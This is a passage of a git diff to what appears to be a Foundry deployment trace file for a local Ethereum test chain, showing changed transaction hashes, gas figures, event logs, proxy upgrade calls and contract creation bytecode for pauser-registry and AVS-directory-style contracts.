"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000400000000000" + "logsBloom": "0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88", - "block_number": 8 + "block_hash": "0x20dac8ce6ff6030c493e90db584bd20e205390e353be7d2283c605eb56c7db60", + "block_number": 23 }, { "info": { - "transaction_hash": "0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db", + "transaction_hash": "0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", @@ -4096,10 +4112,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 118552, - "gas_limit": 172617, + "gas_used": 98625, + "gas_limit": 154991, "status": "Stop", "steps": [], "decoded": { @@ -4125,17 +4141,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef28600000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef2860000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 112194, - "gas_limit": 163709, + "gas_used": 92267, + "gas_limit": 146358, "status": "Stop", "steps": [], "decoded": { @@ -4149,7 +4165,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed" + "0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae" ], "data": "0x" }, @@ -4176,18 +4192,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", - "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", + "caller": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0xeb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a", + "data": "0xcf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 99229, - "gas_limit": 148606, + "gas_used": 79302, + "gas_limit": 131526, "status": "Stop", "steps": [], "decoded": { @@ -4200,9 +4216,8 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6", + "0x0000000000000000000000000000000000000000000000000000000000000000" ], "data": "0x" }, @@ -4215,10 +4230,11 @@ { "raw_log": { "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x" }, "decoded": { "name": null, @@ -4229,9 +4245,10 @@ { "raw_log": { "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, "decoded": { "name": null, @@ -4242,9 +4259,9 @@ { "raw_log": { "topics": [ - "0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e" + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, "decoded": { "name": null, @@ -4287,24 +4304,32 @@ ], "exit": "Stop", "out": "0x", - "nonce": 25, - "gas_used": 141812 + "nonce": 24, + "gas_used": 121873 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x229f4", + "cumulativeGasUsed": "0x1dc11", "logs": [ { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed" + "0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae" ], "data": "0x" }, { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "topics": [ + "0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6", + "0x0000000000000000000000000000000000000000000000000000000000000000" + ], + "data": "0x" + }, + { + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "topics": [ "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -4313,7 +4338,7 @@ "data": "0x" }, { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "topics": [ "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" @@ -4321,39 +4346,32 @@ "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "topics": [ "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", - "topics": [ - "0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" - }, - { - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000" + "logsBloom": "0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000" }, - "block_hash": "0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f", - "block_number": 17 + "block_hash": "0x2ca21a5b8e4017178a119d3ee54f86f95ccfdefe5a44c502fc75f5e13245f25c", + "block_number": 21 }, { "info": { - "transaction_hash": "0x36e493baf7271595140c6eb3ab0ad73f1a465f974b7f43e80bec732caa827f5e", + "transaction_hash": "0x18eb6e3b17bc80bb91bbb894abe9fcda9515e26caad9f936a8c7539c2eb1818a", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "contract_address": "0x9a676e781a523b5d0c0e43731313a708cb607508", "traces": [ { "parent": null, @@ -4363,17 +4381,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "address": "0x9a676e781a523b5d0c0e43731313a708cb607508", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "output": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033", - "gas_used": 254168, - "gas_limit": 355501, + "data": "0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94